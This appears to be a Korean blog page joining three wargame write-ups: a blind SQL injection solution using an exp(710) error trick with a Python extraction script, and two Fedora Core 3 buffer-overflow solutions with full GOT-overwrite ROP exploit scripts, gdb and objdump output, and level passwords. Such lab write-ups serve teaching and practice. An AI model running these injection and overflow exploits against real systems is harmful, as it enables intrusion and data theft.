반응형
반응형
반응형

hell_fire과 코드상에서 다른 점이라면 

 

if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");

 

필터링이 추가된 것밖에 보이지 않는다.

 

덕분에 이전 문제에서 time based sql injection을 사용했던 방법을 이용할 수 없게 되었다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i'$_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"// same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'== "admin"$result['email'= "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'=== $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>
cs

 

 

이전 문제에서 시도했던 if(id='admin' and length(email)>0,id,score) 이 것은 여전히 참 거짓 구분이 작동이 안된다.

 

 

이번에는 exp(710)을 사용해서 error based sql injection을 사용했다.

 

order by (select exp(710) where 0<(select length(email) where id='admin'))

참이면 결과를 표시하지 않고, 거짓이면 결과를 표시한다.

 

 

https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=(select%20exp(710)%20where%2030=(select%20length(email)%20where%20id=%27admin%27))

이메일의 길이는 30이다.

 

 

글자는 아래와 같은 방법으로 찾으면 된다.

query : select id,email,score from prob_evil_wizard where 1 order by (select exp(710) where 'a'=(select substr(email,1,1) where id='admin'))

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(30):
    for j in range(len(string)):
        payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if not "<td>admin</td>" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs
반응형
반응형


ID | evil_wizard

PW | get down like that


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_stone
    - Remote BOF on Fedora Core 3 
    - hint : GOT overwriting again
    - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length; 
    char temp[1024];
 
    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
 
    // for disturbance RET sleding
    length = strlen(temp);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    // disturbance RET sleding
    memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
    // buffer cleaning 
    memset(0xf6ffe00000xf7000000-0xf6ffe000);
 
    printf("%s\n", buffer);
}
 
cs


이번 문제는 nc [ip] 8888을 통해 ex를 하면 되네요.


이전 문제와 같은 방법으로 풀어보겠습니다.


0x08048620 <main+296>: lea    eax,[ebp-264]

0x08048626 <main+302>: push   eax

0x08048627 <main+303>: push   0x8048745

0x0804862c <main+308>: call   0x8048408 <_init+104>

0x08048631 <main+313>: add    esp,0x10

0x08048634 <main+316>: leave  

0x08048635 <main+317>: ret    

0x08048636 <main+318>: nop    

0x08048637 <main+319>: nop    

End of assembler dump.


printf plt 주소를 구합니다.


더미는 264 + 4 바이트만큼 주면 되겠네요.



0x080485a0 <main+168>: lea    eax,[ebp-1304]

0x080485a6 <main+174>: push   eax

0x080485a7 <main+175>: lea    eax,[ebp-264]

0x080485ad <main+181>: push   eax

0x080485ae <main+182>: call   0x8048438 <_init+152>


strcpy plt 주소를 구합니다.



(gdb) disas pop_pop_ret 

Dump of assembler code for function pop_pop_ret:

0x080484f0 <pop_pop_ret+0>: push   ebp

0x080484f1 <pop_pop_ret+1>: mov    ebp,esp

0x080484f3 <pop_pop_ret+3>: pop    eax

0x080484f4 <pop_pop_ret+4>: pop    eax

0x080484f5 <pop_pop_ret+5>: ret    

0x080484f6 <pop_pop_ret+6>: leave  

0x080484f7 <pop_pop_ret+7>: ret   


ppr 주소 0x080484f3



(gdb) x/i 0x8048408

0x8048408 <_init+104>: jmp    ds:0x804984c


printf got 0x804984c



(gdb) b main

Breakpoint 1 at 0x8048501

(gdb) r

Starting program: /home/evil_wizard/dark_stone 

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x08048501 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x7507c0 <system>


system 주소 0x007507c0


이제 system 주소가 되어줄 조각들을 구해봅시다.



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "c0" --color=auto

 8048148 03000000 0e000000 0c000000 05000000  ................

 80481b4 3c000000 68980408 04000000 11001700  <...h...........

 8048338 1069690d 00000200 8c000000 00000000  .ii.............

 8048348 2c980408 060c0000 68980408 05020000  ,.......h.......

 80483a0 5589e583 ec08e8c1 000000e8 14010000  U...............

 80483e8 ff254498 04086810 000000e9 c0ffffff  .%D...h.........


0x80483f4



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "07" --color=auto

 8048178 03000000 07000000 08000000 06000000  ................


0x804817c



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "75" --color=auto

 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so

 80482b4 75740066 67657473 006d656d 63707900  ut.fgets.memcpy.


0x80482b4



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "00" --color=auto

 8048124 2e3200                               .2.             

 8048128 04000000 10000000 01000000 474e5500  ............GNU.

 8048138 00000000 02000000 02000000 05000000  ................


0x8048138




"/bin/sh\x00" 찾기


1
2
3
4
5
6
7
8
9
10
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7507c0;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
 
cs


[evil_wizard@Fedora_1stFloor ~]$ vi find_.c

[evil_wizard@Fedora_1stFloor ~]$ gcc -o find_ find_.c 

[evil_wizard@Fedora_1stFloor ~]$ ./find_ 

"bin/sh" is at 0x833603



이렇게 모두 구해서 이전 문제 익스에 사용한 코드를 재사용 하면.


익스가 안된다....



계획변경


바로 got를 덮지 않고, 먼저 bss영역에 덮은 뒤에 다시 그 값을 got를 덮도록 한다.



[evil_wizard@Fedora_1stFloor ~]$ readelf -S dark_stone

There are 28 section headers, starting at offset 0xa68:


Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 00004c 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          08048194 000194 0000e0 10   A  5   1  4

  [ 5] .dynstr           STRTAB          08048274 000274 000096 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          0804830a 00030a 00001c 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048328 000328 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048348 000348 000018 08   A  4   0  4

  [ 9] .rel.plt          REL             08048360 000360 000040 08   A  4  11  4

  [10] .init             PROGBITS        080483a0 0003a0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080483b8 0003b8 000090 04  AX  0   0  4

  [12] .text             PROGBITS        08048448 000448 0002ac 00  AX  0   0  4

  [13] .fini             PROGBITS        080486f4 0006f4 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        08048710 000710 000039 00   A  0   0  4

  [15] .eh_frame         PROGBITS        0804874c 00074c 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        08049750 000750 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049758 000758 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049760 000760 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         08049764 000764 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        0804982c 00082c 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049830 000830 00002c 04  WA  0   0  4

  [22] .data             PROGBITS        0804985c 00085c 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049868 000868 00000c 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000868 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 00098e 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ec8 0004f0 10     27  44  4

  [27] .strtab           STRTAB          00000000 0013b8 0002d6 00      0   0  1



bss영역 0x08049868


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#fc3 got_overwrite
from pwn import *
 
= remote("192.168.0.0"8888)
 
printf_plt = 0x8048408
printf_got = 0x804984c
strcpy_plt = 0x8048438
ppr = 0x80484f3
 
bss = 0x8049868
 
binsh = 0x833603
 
payload = 'A' * 268
 
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 0)
payload += p32(0x80483f4)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 1)
payload += p32(0x804817c)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 2)
payload += p32(0x80482b4)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 3)
payload += p32(0x8048138)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got)
payload += p32(bss)
 
payload += p32(printf_plt)
payload += "AAAA"
payload += p32(binsh)
 
print(p.recvuntil("u :"))
print(payload)
p.sendline(payload)
 
p.interactive()
 
cs

mandu@mandu-VirtualBox:~/ex_pwn$ python fc3_hell.py 
[+] Opening connection to 192.168.0.10 on port 8888: Done
dark_stone : how fresh meat you are!
you :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8\x84\x0��h\x98\x0��8\x84\x0��i\x98\x0|\x81\x08\x84\x0��j\x98\x0\xb4\x82\x08\x84\x0��k\x98\x08\x81\x08\x84\x0��L\x98\x0h\x98\x\x84\x0AAAA\x036\x83\x00
[*] Switching to interactive mode
 $ my-pass
euid = 505
let there be light

예에~




반응형
반응형

해커스쿨 LOB FC3 [hell_fire -> evil_wizard] 풀이입니다.


ID | hell_fire

PW | sign me up


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}


got overwriting 이네요.

strcpy함수를 이용해서 printf got에 system함수 주소를 덮어쓰고, printf plt를 호출해 쉘을 띄울 수 있도록 하면 됩니다.


필요한 것들:

리턴주소 위치(buffer와의 거리)
printf .plt
printf .got
strcpy 
system
ppr(pop pop ret)
binsh


0x08048674 <main+288>: call   0x8048474 <_init+168>
0x08048679 <main+293>: add    esp,0x10
0x0804867c <main+296>: sub    esp,0x8
0x0804867f <main+299>: lea    eax,[ebp-264]
0x08048685 <main+305>: push   eax
0x08048686 <main+306>: push   0x8048784
0x0804868b <main+311>: call   0x8048424 <_init+88>
0x08048690 <main+316>: add    esp,0x10
0x08048693 <main+319>: leave  
0x08048694 <main+320>: ret    
0x08048695 <main+321>: nop    
0x08048696 <main+322>: nop    
0x08048697 <main+323>: nop    
End of assembler dump.

main 함수 마지막에 printf("%s\n", buffer); 가 실행되므로 0x8048424가 printf plt주소임을 알 수 있으며, 
<main+299> lea eax,[ebp-264] 을 통해  buffer의 위치를 알 수 있다. 
buffer[256] + dummy[8] +sfp[4] + ret[4]



0x0804861d <main+201>: lea    eax,[ebp-264]
0x08048623 <main+207>: push   eax
0x08048624 <main+208>: call   0x8048494 <_init+200>

위 쪽에서 strcpy함수 주소도 구할 수 있다.




(gdb) x/i 0x8048424

0x8048424 <_init+88>: jmp    ds:0x8049884


printf .got = 0x8049884




(gdb) disas pop_pop_ret 

Dump of assembler code for function pop_pop_ret:

0x0804854c <pop_pop_ret+0>: push   ebp

0x0804854d <pop_pop_ret+1>: mov    ebp,esp

0x0804854f <pop_pop_ret+3>: pop    eax

0x08048550 <pop_pop_ret+4>: pop    eax

0x08048551 <pop_pop_ret+5>: ret    

0x08048552 <pop_pop_ret+6>: leave  

0x08048553 <pop_pop_ret+7>: ret    

End of assembler dump.


ppr = 0x804854f



(gdb) b* main
Breakpoint 1 at 0x8048554
(gdb) r
Starting program: /home/hell_fire/evil_wizard 
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x7507c0 <system>

system 함수 주소 0x007507c0

이 함수 주소가 되어줄 조각들의 주소를 구해주어야 한다.


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "c0" --color=auto
 8048188 09000000 0a000000 0b000000 0c000000  ................
 80481e8 4c000000 00000000 27000000 12000000  L.......'.......
 80481f8 5c000000 00000000 ea000000 12000000  \...............
 8048208 6c000000 00000000 d9000000 12000000  l...............
 8048258 3c000000 00000000 51000000 12000000  <.......Q.......
 80483b4 98980408 07090000 9c980408 070c0000  ................
 80483cc 5589e583 ec08e8f1 000000e8 44010000  U...........D...
 8048414 ff258098 04086810 000000e9 c0ffffff  .%....h.........

c0 : 0x8048420



[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "07" --color=auto

 8048148 03000000 0f000000 0d000000 07000000  ................


07 : 0x8048154


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "75" --color=auto
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 80482c8 75696400 67657465 67696400 6d656d63  uid.getegid.memc

75 : 0x80482c8


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "00" --color=auto
 8048124 2e3200                               .2.             
 8048128 04000000 10000000 01000000 474e5500  ............GNU.
 8048138 00000000 02000000 02000000 05000000  ................

00 : 0x8048138




"/bin/sh\x00" 문자열은 system함수 내부에 존재하므로, 코드를 돌려서 주소를 구해주면 된다.

find_binsh.c

1
2
3
4
5
6
7
8
9
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7507c0;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
cs


[hell_fire@Fedora_1stFloor ~]$ vi find_binsh.c

[hell_fire@Fedora_1stFloor ~]$ gcc -o find_binsh find_binsh.c 

[hell_fire@Fedora_1stFloor ~]$ ./find_binsh

"bin/sh" is at 0x833603


다 구해준 것 같다. 

이제 exploit 코드를 짜서 돌려주면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import struct
 
p32 = lambda x: struct.pack("<I", x)
 
target = "/home/hell_fire/evil_wizard"
 
printf_plt = 0x8048424
printf_got = 0x8049884
strcpy_plt = 0x8048494
ppr = 0x804854f
 
binsh = 0x833603
 
payload = 'A' * 268
 
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 0)
payload += p32(0x8048420)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 1)
payload += p32(0x8048154)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 2)
payload += p32(0x80482c8)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 3)
payload += p32(0x8048138)
 
payload += p32(printf_plt)
payload += "AAAA"
payload += p32(binsh)
 
os.execv(target, (target, payload[:-1]))
 
cs


sh-3.00$ my-pass
euid = 504
get down like that
sh-3.00$ 


반응형

+ Recent posts